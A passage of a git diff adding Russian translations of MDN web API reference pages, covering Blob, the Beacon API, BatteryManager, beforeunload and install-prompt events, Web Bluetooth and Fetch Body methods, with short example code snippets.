{{SpecName('Web Audio API', '#dom-audioparam-setvalueattime', 'setValueAtTime')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.AudioParam.setValueAtTime")}}

+ +

See also

+ + diff --git a/files/ru/web/api/batterymanager/index.html b/files/ru/web/api/batterymanager/index.html new file mode 100644 index 0000000000..02e7fdc7a2 --- /dev/null +++ b/files/ru/web/api/batterymanager/index.html @@ -0,0 +1,72 @@ +--- +title: BatteryManager +slug: Web/API/BatteryManager +translation_of: Web/API/BatteryManager +--- +

{{APIRef}}

+ +

Интерфейс BatteryManager предоставляет пути получения информации о уровне заряда батареи устройства.

+ +

Метод {{domxref("navigator.getBattery()")}} возвращает battery promise, разрешающий использование BatteryManager интерфейса, который вы можете использовать для взаимодействия с Battery Status API.

+ +

Свойства

+ +
+
{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}
+
Значение с булевым типом, заряжается сейчас батарея или нет.
+
{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}
+
Число оставшихся секунд до полной зарядки, или 0, если устройство заряжено.
+
{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}
+
Число оставшихся секунд до полной разрядки устройства.
+
{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}
+
Число между 0.0 и 1.0, показывающее уровень заряда батареи устройства.
+
+ +

Обработчики событий

+ +
+
{{domxref("BatteryManager.onchargingchange")}}
+
Обработчик для {{event("chargingchange")}} события; Событие вызывается при обновлении состояния процесса зарядки батареи на текущий момент.
+
{{domxref("BatteryManager.onchargingtimechange")}}
+
Обработчик для {{event("chargingtimechange")}} события; Событие вызывается при обнавлении времени до полной зарядки батареи устройства.
+
{{domxref("BatteryManager.ondischargingtimechange")}}
+
Обработчик для {{event("dischargingtimechange")}} события; Событие вызывается при обновлении времени до разрядки батареи устройства.
+
{{domxref("BatteryManager.onlevelchange")}}
+
Обработчик для {{event("levelchange")}} события; Событие вызывается при обновление уровня заряда батареи устройства.
+
+ +

Методы

+ +

Наследует от {{domxref("EventTarget")}}:

+ +

{{page("/ru-RU/docs/Web/API/EventTarget","Methods")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Исходное определение
+ +

Браузерная совместимость

+ +

{{Compat("api.BatteryManager")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html new file mode 100644 index 0000000000..984c00117d --- /dev/null +++ b/files/ru/web/api/beacon_api/index.html @@ -0,0 +1,51 @@ +--- +title: Beacon API +slug: Web/API/Beacon_API +tags: + - Beacon + - JSAPI Reference + - Производительность +translation_of: Web/API/Beacon_API +--- +
{{DefaultAPISidebar("Beacon")}}{{SeeCompatTable}}
+ +
+ +

Интерфейс Beacon используется для планирования асинхронного и неблокирующего запроса к веб-серверу. Beacon запросы используют метод HTTP POST, и обычно не требуют ответа. Запросы гарантированно будут  инициированы до того, как страница будет выгружена, и они выполняются до конца, не требуя блокирующего запроса (например {{domxref("XMLHttpRequest")}}).

+ +

Например, вариантом использования Beacon API может быть логирование активности или отправка аналитики на сервер.

+ +

Пример кода интерфейсов, описанных в этом документе, включен в раздел Использование Beacon API.

+ + + +

Зачем использовать Beacon?

+ +

Интерфейс Beacon отвечает потребностям аналитического и диагностического кода, который обычно пытается отправить данные на веб-сервер перед выгрузкой документа. Отправка данных хоть на секунду раньше может привести к упущенной возможности сбора данных. В любом случае, обеспечение того, чтобы данные отправлялись во время выгрузки документа, является чем-то, что традиционно было трудным для разработчиков.

+ +

Пользовательские браузеры обычно игнорируют асинхронные  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создает синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. 

+ +

Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путем создания элемента Image и установки его атрибута src в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который  в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.

+ +

Эти методы представляют плохие шаблоны программирования, некоторые из них ненадежны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.

+ +

Глобальный контекст

+ +

Интерфейс Beacon API's предоставляет метод {{domxref("Navigator.sendBeacon()")}}, который используется для отправки beacon данных  на сервер в глобальный браузерный контекст. Метод принимает два аргумента: URL и данные для отправки в запросе. Аргумент data является необязательным, и его тип может быть {{domxref ("ArrayBufferView")}}, {{domxref ("Blob")}}, {{domxref ("DOMString")}} или {{domxref (" FormData ")}}. Если браузер успешно поставил в очередь запрос на доставку, то метод возвращает true либо возвращает false в противном случае.

+ +

Рабочий контекст

+ +

Интерфейс Beacon API's предоставляет метод {{domxref("Navigator.sendBeacon()")}}, который используется для отправки beacon данных на сервер из {{domxref("WorkerGlobalScope","worker global scope")}}. Метод принимает два аргумента: URL-адрес и данные для отправки в запросе. Аргумент data является необязательным, и его тип может быть {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или {{domxref("FormData")}}. Если браузер успешно поставил в очередь запрос на доставку, то метод возвращает true либо возвращает false в противном случае.

+ +

Совместимость с браузерами

+ +

The {{domxref("Navigator.sendBeacon","Navigator.sendBeacon()","Browser_compatibility")}} table indicates that method has relatively broad implementation.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html new file mode 100644 index 0000000000..a9359fddfe --- /dev/null +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -0,0 +1,61 @@ +--- +title: BeforeInstallPromptEvent +slug: Web/API/BeforeInstallPromptEvent +tags: + - API + - BeforeInstallPromptEvent + - Event + - Experimental + - Interface + - Reference +translation_of: Web/API/BeforeInstallPromptEvent +--- +
Событие BeforeInstallPromptEvent запускается в обработчике {{domxref("Window.onbeforeinstallprompt")}} перед тем, как пользователю будет предложено "установить" веб-сайт на главный экран мобильного устройства.
+ +
Этот интерфейс наследуется от интерфейса {{domxref("Event")}}. 
+ +
+ +

{{InheritanceDiagram(700, 60, 20)}}

+ +

Конструктор

+ +
+
{{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}
+
Создает новый BeforeInstallPromptEvent.
+
+ +

Свойства

+ +

Наследует свойства от своего родителя, {{domxref("Event")}}.

+ +
+
{{domxref("BeforeInstallPromptEvent.platforms")}} {{readonlyinline}}
+
Возвращает массив элементов {{domxref("DOMString")}}, содержащий платформы, на которых было отправлено событие. Это предусмотрено для пользовательских агентов, которые хотят предоставить пользователю выбор версий, таких как, например, «web» или «play», что позволит пользователю выбирать между веб-версией или версией Android.
+
{{domxref("BeforeInstallPromptEvent.userChoice")}} {{readonlyinline}}
+
Возвращает {{jsxref("Promise")}}, которое разрешается в {{domxref("DOMString")}}, содержащее либо "accepted" (принято), либо "dismissed" (отклонено).
+
+ +

Методы

+ +
+
{{domxref("BeforeInstallPromptEvent.prompt()")}} 
+
Позволяет разработчику показывать запрос на установку в любое время по своему выбору. Этот метод возвращает {{jsxref("Promise")}}.
+
+ +

Пример

+ +
window.addEventListener("beforeinstallprompt", function(e) {
+  // Зарегистрируйте платформы, указанные в качестве параметров, в запросе на установку
+  console.log(e.platforms); // e.g., ["web", "android", "windows"]
+  e.userChoice.then(function(choiceResult) {
+    console.log(choiceResult.outcome); // either "accepted" or "dismissed"
+  }, handleError);
+});
+
+ +

Совместимость с браузером

+ + + +

{{Compat("api.BeforeInstallPromptEvent")}}

diff --git a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html new file mode 100644 index 0000000000..f8c623a1c1 --- /dev/null +++ b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html @@ -0,0 +1,48 @@ +--- +title: BeforeInstallPromptEvent.prompt() +slug: Web/API/BeforeInstallPromptEvent/prompt +tags: + - API + - BeforeInstallPromptEvent + - Experimental + - Method + - Reference + - prompt +translation_of: Web/API/BeforeInstallPromptEvent/prompt +--- +
Метод prompt() интерфейса {{domxref("BeforeInstallPromptEvent")}} позволяет разработчику показывать подсказку об установке в любое время по своему выбору. 
+ +

Синтаксис

+ +
BeforeInstallPromptEvent.prompt()
+ +

Параметры

+ +

None.

+ +

Возвращаемое значение

+ +

Пустой {{jsxref("Promise")}}.

+ +

Пример

+ +
var isTooSoon = true;
+window.addEventListener("beforeinstallprompt", function(e) {
+  if (isTooSoon) {
+    e.preventDefault(); // Предотвращает быстрое отображение
+    // Запросить позже:
+    setTimeout(function() {
+      isTooSoon = false;
+      e.prompt(); // Выбрасывает, если вызывается более одного раза или по умолчанию не предотвращено (not prevented)
+    }, 10000);
+  }
+
+  // Событие было повторно отправлено в ответ на наш запрос
+  // ...
+});
+ +

Совместимость с браузером

+ + + +

{{Compat("api.BeforeInstallPromptEvent.prompt")}}

diff --git a/files/ru/web/api/beforeunloadevent/index.html b/files/ru/web/api/beforeunloadevent/index.html new file mode 100644 index 0000000000..768e7d2787 --- /dev/null +++ b/files/ru/web/api/beforeunloadevent/index.html @@ -0,0 +1,74 @@ +--- +title: BeforeUnloadEvent +slug: Web/API/BeforeUnloadEvent +tags: + - Диалог + - Окно +translation_of: Web/API/BeforeUnloadEvent +--- +

{{APIRef}}

+ +

Событие beforeunload   (en: перед_выгрузкой) происходит (непосредственно) перед выгрузкой окна, документа и их ресурсов.

+ +

Если присвоено ненулевое значение свойству returnValue Event, всплывает диалоговое окно: "Вы действительно хотите покинуть эту страницу?" (см. пример ниже). Если значение не присвоено, то событие не отображается. В некоторых случаях диалоговое окно всплывает только после взаимодействия пользователя с фреймом или любым встроенным фреймом. См. детали  {{anch("Browser compatibility")}} 

+ + + + + + + + + + + + + + + + + + + + +
Всплывающие окнаНет
Возможность отменыДа
Целевые ОбъектыdefaultView
Интерфейс{{domxref("Event")}}
+ +

Примеры

+ +
window.addEventListener("beforeunload", function( event ) {
+  event.returnValue = "\o/";
+});
+
+//is equivalent to
+window.addEventListener("beforeunload", function( event ) {
+  event.preventDefault();
+});
+ +

Webkit-based browsers не следуют спецификации диалоговых окон . Самый кросс-браузерный работающий пример выглядит примерно так: см. ниже.

+ +
window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  (e || window.event).returnValue = confirmationMessage;     //Gecko + IE
+  return confirmationMessage;                                //Webkit, Safari, Chrome etc.
+});
+ +

Совместимость браузеров

+ +
+ + +

{{Compat("api.BeforeUnloadEvent")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html new file mode 100644 index 0000000000..b1ed2d7bc1 --- /dev/null +++ b/files/ru/web/api/blob/blob/index.html @@ -0,0 +1,123 @@ +--- +title: Blob() +slug: Web/API/Blob/Blob +translation_of: Web/API/Blob/Blob +--- +

{{APIRef("File API")}}

+ +

Конструктор Blob() возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединенных значений, переданных в параметре array.

+ +

Синтаксис

+ +
var aBlob = new Blob( array, options );
+
+ +

Параметры

+ + + +

Пример

+ +
var aFileParts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#constructorBlob', 'Blob()')}}{{Spec2('File API')}}Initial definition.
+ +

Браузерная совместимость

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support20{{CompatGeckoDesktop("13.0")}} [1]1012.108
in Workers{{CompatUnknown}}{{CompatGeckoDesktop("14.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("13.0")}} [1]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
in Workers{{CompatUnknown}}{{CompatGeckoMobile("14.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Before Firefox 16, the second parameter, when set to null or undefined, leads to an error instead of being handled as an empty dictionary.

+ +

See also

+ + + +

 

diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html new file mode 100644 index 0000000000..a256ce6a5f --- /dev/null +++ b/files/ru/web/api/blob/index.html @@ -0,0 +1,178 @@ +--- +title: Blob +slug: Web/API/Blob +translation_of: Web/API/Blob +--- +
{{APIRef("File API")}}
+ +

Объект Blob представляет из себя подобный файлу объект с неизменяемыми, необработанными данными; они могут читаться как текст или двоичные данные, либо могут быть преобразованы в {{DOMxRef("ReadableStream")}}, таким образом, его методы могут быть использованы для обработки данных.

+ +

Blob-ы могут представлять данные, которые не обязательно должны быть в родном для JavaScript формате. Интерфейс {{domxref("File")}} основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на стороне пользователя.

+ +

Использование Blob

+ +

Для создания Blob не из объектов и данных blob, используйте конструктор {{domxref("Blob.Blob", "Blob()")}} . Чтобы создать blob из подмножества данных из другого blob, используйте метод {{domxref("Blob.slice()", "slice()")}}. Чтобы получить объект Blob для файла на файловой системе пользователя, смотрите документацию на {{domxref("File")}}.

+ +

API, принимающие объекты Blob, также перечислены в документации на {{domxref("File")}}.

+ +
+

Заметка: Метод slice() имеет изначально задаваемую длину как второй аргумент, что используется для указания числа байт копируемых в новый Blob. Если указать такие параметры start + length, которые превышают размер исходного Blob, то возвращаемый Blob будет содержать данные от начального индекса (start index) до конца исходного Blob.

+
+ +
Заметка:  Следует помнить ,что метод slice() имеет сторонние префиксы в некоторых браузерах: blob.mozSlice() для Firefox 12 и ранее,  так же blob.webkitSlice() в Safari. Старая версия метода slice(), без сторонних приставок, имеет другой алгоритм и устарела. Поддержка blob.mozSlice() была убрана в Firefox 30.
+ +

Конструктор

+ +
+
{{domxref("Blob.Blob", "Blob(blobParts[, options])")}}
+
Возвращает создаваемый объект Blob, который содержит соединение всех данных в массиве, переданном в конструктор.
+
+ +

Свойства

+ +
+
{{domxref("Blob.isClosed")}} {{readonlyinline}} {{experimental_inline}}
+
Логическое значение, показывающее, вызывался ли метод {{domxref("Blob.close()")}} у blob. Закрытый blob не может быть прочитан.
+
{{domxref("Blob.size")}} {{readonlyinline}}
+
Размер данных, содержащихся в объекте Blob, в байтах.
+
{{domxref("Blob.type")}} {{readonlyinline}}
+
Строка с MIME-типом данных, содержащихся в Blob. Если тип неизвестен, строка пуста.
+
+ +

Методы

+ +
+
{{domxref("Blob.close()")}} {{experimental_inline}}
+
Закрывает Blob объект, по возможности освобождая занятые им ресурсы.
+
{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}
+
Возвращает новый Blob объект, содержащий данные в указанном диапазоне байтов исходного Blob.
+
{{DOMxRef("Blob.stream()")}}
+
Возвращает {{DOMxRef("ReadableStream")}}, который может использоваться для чтения содержимого Blob.
+
{{DOMxRef("Blob.text()")}}
+
Возвращает promise, который исполняется с {{DOMxRef("USVString")}}, содержащей всё содержимое Blob, интерпретируемое как текст UTF-8.
+
+ +

Примеры

+ +

Создание Blob

+ +

Конструктор {{domxref("Blob.Blob", "Blob() constructor")}} может создавать объекты blob из других объектов. Например, чтобы сконструировать blob из строки JSON:

+ +
const obj = {hello: 'world'};
+const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});
+ +
+

До того как конструктор Blob стал доступен, это могло быть выполнено через устаревший API {{domxref("BlobBuilder")}}:

+ +
var builder = new BlobBuilder();
+var fileParts = ['<a id="a"><b id="b">hey!</b></a>'];
+builder.append(fileParts[0]);
+var myBlob = builder.getBlob('text/xml');
+
+
+ +

Создание URL для содержимого типизированного массива

+ +

Следующий код создает типизированный массив JavaScript и создает новый Blob, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.

+ +

HTML

+ +
<p>This example creates a typed array containing the ASCII codes
+   for the space character through the letter Z, then converts it
+   to an object URL. A link to open that object URL is created.
+   Click the link to see the decoded object URL.</p>
+ +

JavaScript

+ +

Основной частью этого кода для примера является функция typedArrayToURL(), которая создает Blob из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).

+ +
function typedArrayToURL(typedArray, mimeType) {
+  return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
+}
+
+const bytes = new Uint8Array(59);
+
+for(let i = 0; i < 59; i++) {
+  bytes[i] = 32 + i;
+}
+
+const url = typedArrayToURL(bytes, 'text/plain');
+
+const link = document.createElement('a');
+link.href = url;
+link.innerText = 'Open the array URL';
+
+document.body.appendChild(link);
+ +

+

Другой пример

+ + +
var typedArray = GetTheTypedArraySomehow();
+var blob = new Blob([typedArray], {type: 'application/octet-binary'}); // pass a useful mime type here
+var url = URL.createObjectURL(blob);
+// url will be something like: blob:d3958f5c-0777-0845-9dcf-2cb28783acaf
+// now you can use the url in any context that regular URLs can be used in, for example img.src, etc.
+
+ +

Извлечение данных из Blob

+ +

Один из способов прочесть содержимое Blob – это использовать {{domxref("FileReader")}}. Следующий код читает содержимое Blob как типизированный массив.

+ +
var reader = new FileReader();
+reader.addEventListener("loadend", function() {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);
+ +

Другой способ прочитать содержимое из Blob – это использовать {{domxref("Response")}}. Следующий код читает содержимое Blob как текст:

+ +
const text = await (new Response(blob)).text();
+
+ +

Или можно использовать {{DOMxRef("Blob.text()")}}:

+ +
const text = await blob.text();
+ +

Используя другие методы {{domxref("FileReader")}}, возможно прочесть содержимое объекта Blob как строку или как URL.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API','#blob-section','Blob')}}{{Spec2('File API')}}Initial definition
+ +

Браузерная совместимость

+ +

{{Compat("api.Blob")}}

+ +

Замечания Gecko: доступность в привилегированном коде

+ +

Для использования в коде chrome, JSM и Bootstrap scope, вы должны импортировать его следующим образом:

+ +
Cu.importGlobalProperties(['Blob']);
+
+ +

Blob доступен в Worker scopes.

+ +

Смотри также

+ + diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html new file mode 100644 index 0000000000..f0e5eaf4df --- /dev/null +++ b/files/ru/web/api/blob/slice/index.html @@ -0,0 +1,59 @@ +--- +title: Blob.slice() +slug: Web/API/Blob/slice +translation_of: Web/API/Blob/slice +--- +
{{APIRef("File API")}}
+ +

Метод Blob.slice() используется для создания нового объекта  {{domxref("Blob")}}, содержащего данные в указанном диапазоне байтов исходника {{domxref("Blob")}}.

+ +
Примечание: Помните, что метод  slice() имеет префиксы в некоторых браузерах и версиях: blob.mozSlice() для Firefox 12  и ранних, и blob.webkitSlice() для Safari. Старая версия метода slice() без префиксов, имела разную семантику, и устарела.
+ +

Синтаксис

+ +
var blob = instanceOfBlob.slice([start [, end [, contentType]]]);
+ +

Параметры

+ +
+
start {{optional_inline}}
+
Индекс в {{domxref("Blob")}} указывающий первый байт, включенный в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение start, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.
+
end {{optional_inline}}
+
Индекс в {{domxref("Blob")}} указывающий первый байт, который не будет включен в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включен). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно size.
+
contentType {{optional_inline}}
+
Тип содержимого нового {{domxref("Blob")}}; это будет значение его свойства type. Значение по умолчанию - пустая строка.
+
+ +

Возвращаемое значение

+ +

Новый {{domxref("Blob")}} объект содержит данные, указанные в источнике {{domxref("Blob")}}.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#dfn-slice", "Blob.slice()")}}{{Spec2("File API")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Blob.slice")}}

+ +

See also

+ + diff --git a/files/ru/web/api/bluetooth/index.html b/files/ru/web/api/bluetooth/index.html new file mode 100644 index 0000000000..c2e255483c --- /dev/null +++ b/files/ru/web/api/bluetooth/index.html @@ -0,0 +1,73 @@ +--- +title: Bluetooth +slug: Web/API/Bluetooth +tags: + - API + - Bluetooth + - Web Bluetooth API + - Экспериментальное +translation_of: Web/API/Bluetooth +--- +
{{APIRef("Bluetooth API")}}{{SeeCompatTable}}
+ +

Объект Bluetooth интерфейса Web Bluetooth API возвращает объект {{jsxref("Promise")}} объекту {{domxref("BluetoothDevice")}} с указанными параметрами.

+ +

Интерфейс

+ +
interface Bluetooth : EventTarget {
+  [SecureContext] Promise<boolean> getAvailability();
+  [SecureContext] attribute EventHandler onavailabilitychanged;
+  [SecureContext, SameObject] readonly attribute BluetoothDevice? referringDevice;
+  [SecureContext] Promise<BluetoothDevice> requestDevice(optional RequestDeviceOptions options);
+};
+Bluetooth implements BluetoothDeviceEventHandlers;
+Bluetooth implements CharacteristicEventHandlers;
+Bluetooth implements ServiceEventHandlers;
+ +

Свойства

+ +

Наследует свойства от родителя {{domxref("EventTarget")}}.

+ +
+
{{domxref("Bluetooth.referringDevice")}} {{readonlyinline}}
+
Возвращает ссылку на устройство, если таковое имеется, из которого пользователь открыл страницу. Например, Eddystone beacon может найти URL - адрес, который позволяет открыть строка агента адреса. Устройство Bluetooth предоставляет маяк, который будет доступен через navigator.bluetooth.referringDevice.
+
+ +

События

+ +
+
{{domxref("Bluetooth.onavailabilitychanged")}}
+
Обработчик событий, который запускается при возникновении события типа {{event("availabilitychanged")}}.
+
+ +

Методы

+ +
+
{{domxref("Bluetooth.getAvailability()")}}
+
Возвращает {{jsxref("Promise")}}, который возвращает {{jsxref("Boolean")}}, указывая, поддерживает ли браузер Bluetooth. Некоторфе браузеры дают возможность управлять возвращаемым значением этого метода.
+
{{domxref("Bluetooth.requestDevice()")}}
+
Возвращает {{jsxref("Promise")}} объекту {{domxref("BluetoothDevice")}} с переданными параметрами.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Web Bluetooth', '#bluetooth', 'Bluetooth')}}{{Spec2('Web Bluetooth')}}Первоначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Bluetooth")}}

diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html new file mode 100644 index 0000000000..f99ea7c5c1 --- /dev/null +++ b/files/ru/web/api/bluetoothremotegattserver/index.html @@ -0,0 +1,79 @@ +--- +title: BluetoothRemoteGATTServer +slug: Web/API/BluetoothRemoteGATTServer +tags: + - API + - Bluetooth + - BluetoothRemoteGATTServer + - Web Bluetooth API + - Интерфейс + - Определение + - Экспериментальное +translation_of: Web/API/BluetoothRemoteGATTServer +--- +
{{APIRef("Bluetooth API")}}{{SeeCompatTable}}
+ +

Интерфейс BluetoothRemoteGATTServer, относящийся к Web Bluetooth API, представляет сервер GATT на удаленном устройстве.

+ +
+

Данная страница описывает Web Bluetooth API от W3C Community Group. BluetoothGattServer (Firefox OS) - Bluetooth API в Firefox OS.

+
+ +

Интерфейс

+ +
interface BluetoothRemoteGATTServer {
+  readonly attribute BluetoothDevice device;
+  readonly attribute boolean connected;
+
+  Promise<BluetoothRemoteGATTServer> connect();
+  void disconnect();
+  Promise<BluetoothRemoteGATTService> getPrimaryService(BluetoothServiceUUID service);
+  Promise<sequence<BluetoothRemoteGATTService>> getPrimaryServices(optional BluetoothServiceUUID service);
+};
+ +

Свойства

+ +
+
{{DOMxRef("BluetoothRemoteGATTServer.connected")}}{{ReadOnlyInline}}
+
Двоичное значение, равное true, если устройство this.device подключено. It can be false while the user agent is physically connected.
+
{{DOMxRef("BluetoothRemoteGATTServer.device")}}{{ReadOnlyInline}}
+
{{DOMxRef("BluetoothDevice")}}, на котором работает сервер.
+
+ +

Методы

+ +
+
{{DOMxRef("BluetoothRemoteGATTServer.connect()")}}
+
Подключение к устройству this.device.
+
{{DOMxRef("BluetoothRemoteGATTServer.disconnect()")}}
+
Отключение от устройства this.device.
+
{{DOMxRef("BluetoothRemoteGATTServer.getPrimaryService()")}}
+
Returns a promise to the primary {{DOMxRef("BluetoothGATTService")}} offered by the bluetooth device for a specified BluetoothServiceUUID.
+
{{DOMxRef("BluetoothRemoteGATTServer.getPrimaryServices()")}}
+
Returns a promise to a list of primary {{DOMxRef("BluetoothGATTService")}} objects offered by the bluetooth device for a specified BluetoothServiceUUID.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Web Bluetooth", "#bluetoothremotegattserver", "BluetoothRemoteGATTServer")}}{{Spec2("Web Bluetooth")}}Изначальное определение.
+ +

Совместимость

+ + + +

{{Compat("api.BluetoothRemoteGATTServer")}}

+ +
{{APIRef("Web Bluetooth")}}
diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html new file mode 100644 index 0000000000..ff9f6e699d --- /dev/null +++ b/files/ru/web/api/body/arraybuffer/index.html @@ -0,0 +1,90 @@ +--- +title: Body.arrayBuffer() +slug: Web/API/Body/arrayBuffer +tags: + - АПИ + - Экспериментальный + - справочник +translation_of: Web/API/Body/arrayBuffer +--- +
{{APIRef("Fetch")}}
+ +

Метод arrayBuffer() из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промисс, который будет успешно завершен с помощью {{domxref("ArrayBuffer")}}.

+ +

Синтаксис

+ +
response.arrayBuffer().then(function(buffer) {
+  // можно сделать что либо с буфером
+});
+ +

Параметры

+ +

Нат параметров.

+ +

Возвращаемое значение

+ +

Промисс, который содержит {{domxref("ArrayBuffer")}}.

+ +

Пример

+ +

В нашем примере живой загрузки с array buffer есть кнопка Play. При нажатии на кнопку вызывается функция getData(). Стоит учесть что до проигрывания аудио файл будет скачан целиком. Если вам необходимо начать воспроизведение файла ogg во время загрузки (стримить аудио) - то лучше рассмотреть  {{domxref("HTMLAudioElement")}}:

+ +
new Audio(music.ogg).play()
+
+ +

В функции getData() мы создаем новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа испозуя arrayBuffer(), декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (source.buffer), затем используем данные этого ресурса в  {{domxref("AudioContext.destination")}}.

+ +

Когда функция getData() заканчивает свое выполнение, мы стартуем проигрывание аудио ресурса функцией start(0), потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)

+ +
function getData() {
+  source = audioCtx.createBufferSource();
+
+  var myRequest = new Request('viper.ogg');
+
+  fetch(myRequest).then(function(response) {
+    return response.arrayBuffer();
+  }).then(function(buffer) {
+    audioCtx.decodeAudioData(buffer, function(decodedData) {
+      source.buffer = decodedData;
+      source.connect(audioCtx.destination);
+    });
+  });
+};
+
+// навешиваем обработчики старт и стоп на кнопку
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}{{Spec2('Fetch')}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Body.arrayBuffer")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/body/formdata/index.html b/files/ru/web/api/body/formdata/index.html new file mode 100644 index 0000000000..5b80766e66 --- /dev/null +++ b/files/ru/web/api/body/formdata/index.html @@ -0,0 +1,62 @@ +--- +title: Body.formData() +slug: Web/API/Body/formData +translation_of: Web/API/Body/formData +--- +
{{APIRef("Fetch")}}
+ +

Метод formData() из {{domxref("Body")}} принимает поток ответа {{domxref("Response")}} и считывает его до завершения. Он возвращает обещание, которое разрешается с помощью объекта {{domxref("FormData")}}.

+ +
+

Примечание:  Это в основном относится к service workers. Если пользователь отправляет форму а service worker перехватывает запрос,  можно, например, вызвать formData() чтобы получить набор данных в формате ключ-значение, изменить некоторые поля, а затем отправить форму на сервер, или использовать её локально.

+
+ +

Синтаксис

+ +
response.formData()
+.then(function(formdata) {
+  // do something with your formdata
+});
+ +

Параметры

+ +

Нет.

+ +

Возвращаемое значение

+ +

